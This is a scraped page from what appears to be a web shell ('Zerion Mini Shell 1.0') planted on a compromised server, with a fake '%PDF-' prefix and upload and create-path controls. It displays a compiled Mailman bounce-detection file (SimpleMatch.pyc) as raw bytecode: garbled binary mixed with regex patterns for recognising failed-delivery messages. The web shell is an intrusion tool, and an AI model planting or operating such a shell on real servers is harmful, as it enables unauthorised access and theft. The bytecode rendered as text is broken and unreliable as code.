%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/mailman/Mailman/Bouncers/
Upload File :
Create Path :
Current File : //lib/mailman/Mailman/Bouncers/SimpleMatch.pyc

�
��ac'@sudZddlZddlZd�Zed�ed�ed�fed�ed�ed	�fed
�ed�ed�fed
�ed�ed�fed�ed�ed�fed�ed�ed�fed�ed�ed�fed�ed�ed�fed�ed�ed�fed�ed�ed�fed�ed�ed �fed!�ed"�ed�fed#�ed$�ed%�fed&�ed'�ed(�fed)�ed*�ed�fed)�ed*�ed+�fed,�ed-�ed.�fed/�ed0�ed(�fed1�ed2�ed�fed3�ed4�ed5�fed6�ed7�ed(�fed8�ed9�ed:�fed;�ed<�ed�fed=�ed*�ed>�fed?�ed@�edA�fedB�edC�ed%�fedD�edE�edF�fedG�edH�edI�fedJ�edE�edK�fedL�edC�edM�fedN�edC�edO�fedP�edQ�edR�fedS�edT�edU�fedV�edW�edX�fedY�edZ�ed(�fed[�ed\�ed]�fg$Zdd^�ZdS(_s2Recognizes simple heuristically delimited bounces.i����NcCstj|tj�S(N(tretcompilet
IGNORECASE(tpattern((sj/builddir/build/BUILDROOT/mailman-2.1.15-30.el7_9.2.x86_64/usr/lib/mailman/Mailman/Bouncers/SimpleMatch.pyt_css&here is your list of failed recipientsshere is your returned mails<(?P<addr>[^>]*)>sthe following addresses hadstranscript of session followss=^ *(\(expanded from: )?<?(?P<addr>[^\s@]+@[^\s@>]+?)>?\)?\s*$s@this message was created automatically by mail delivery softwaresoriginal message followssrcpt to:\s*<(?P<addr>[^>]*)>s*message from interscan e-mail viruswall ntsend of messagesfailed addresses follow:smessage text follows:s\s*(?P<addr>\S+@\S+)s8This is the machine generated message from mail service.s1--- Below the next line is a copy of the message.s?The following addresses did NOT receive a copy of your message:s--- Session Transcript ---s[>]\s*(?P<addr>.*)$s#Intended recipient:\s*(?P<addr>.*)$s%--------RETURNED MAIL FOLLOWS--------s&Undeliverable Address:\s*(?P<addr>.*)$sOriginal message attacheds7This message was created automatically by mail deliverys$^---- START OF RETURNED MESSAGE ----saddressed to '(?P<addr>[^']*)'sUser's mailbox is full:sUnable to deliver mail.s+User's mailbox is full:\s*<(?P<addr>[^>]*)>s=The email below could not be delivered to the following user:sOld message:s:Unable to deliver message to the following address\(es\)\.s--- Original message follows\.s<(?P<addr>[^>]*)>:s.Delivery to the following recipient(s)? faileds----- Original message -----s!^\s*(?P<addr>[^\s@]+@[^\s@]+)\s*$s6A message that you( have)? sent could not be delivereds^---s^(?P<addr>[^\s@]+@[^\s@:]+):s@Del(i|e)very to the following recipient(s)? (failed|was aborted)s^[^D][^@]{2,}$s&^\s*(. )?(?P<addr>[^\s@]+@[^\s@]+)\s*$s^Your message\s*$s	^because:s^Unable to deliver message tos\*+\s+End of message\s+\*+s)^Sorry, unable to deliver your message tos^A copy of the original messages\s*(?P<addr>[^\s@]+@[^\s@]+)\s+s%^A message could not be delivered to:s	^Subject:s^Invalid final delivery userid:s^Original message follows.s \s*(?P<addr>[^\s@]+@[^\s@]+)\s*$s---- Failed Recipients ----s
 Mail ----s.A message that you sent could not be delivereds(?P<addr>[^\s@]+@[^\s@)]+)s^--> Error description:\s*$s^Error-End:s'^Error-for:\s+(?P<addr>[^\s@]+@[^\s@]+)s#Your message could not be delivereds^-s&Your message could not be delivered tos^\s*$s(?P<addr>[^\s@]+@[^\s@]+)s.Your message has encountered delivery problemssYour message readss)addressed to\s*(?P<addr>[^\s@]+@[^\s@)]+)s%Did not reach the following recipients\s(?P<addr>[^\s@]+@[^\s@]+)sThis is the deliver program ats^(?P<addr>[^\s@]+@[^\s@<>]+)sthis is the email server ats \s(?P<addr>[^\s@]+@[^\s@]+)[\s,]s- no such user heresThere is no users^(?P<addr>[^\s@]+@[^\s@]+)\ss-The following recipient.*could not be reachedsbogus stop patterns^(?P<addr>[^\s@]+@[^\s@]+)\s*$sCould not deliver message tos^\s*--s2^Failed Recipient:\s*(?P<addr>[^\s@]+@[^\s@]+)\s*$s--------Message not delivereds--------Error Details
^Your messages
^ReportingsDYour message to (?P<addr>[^\s@]+@[^\s@]+) was automatically rejectedc
Cs�|dkrt}ni}x�|D]�\}}}d}x�tjj|dt�D]�}|dkr}|j|�r}d}q}n|dkrP|j|�}|r�|jd�}	|	r�d||	jd�<q�q�|j|�r�Pq�qPqPW|r"Pq"q"W|j	�S(Nitdecodeitaddrs<>(
tNonetPATTERNStemailt	Iteratorstbody_line_iteratortTruetsearchtgrouptstriptkeys(
tmsgtpatternstaddrstscretecretacretstatetlinetmoR((sj/builddir/build/BUILDROOT/mailman-2.1.15-30.el7_9.2.x86_64/usr/lib/mailman/Mailman/Bouncers/SimpleMatch.pytprocess�s(	(t__doc__Rtemail.IteratorsR	RRRR(((sj/builddir/build/BUILDROOT/mailman-2.1.15-30.el7_9.2.x86_64/usr/lib/mailman/Mailman/Bouncers/SimpleMatch.pyt<module>s�																																																																									

Zerion Mini Shell 1.0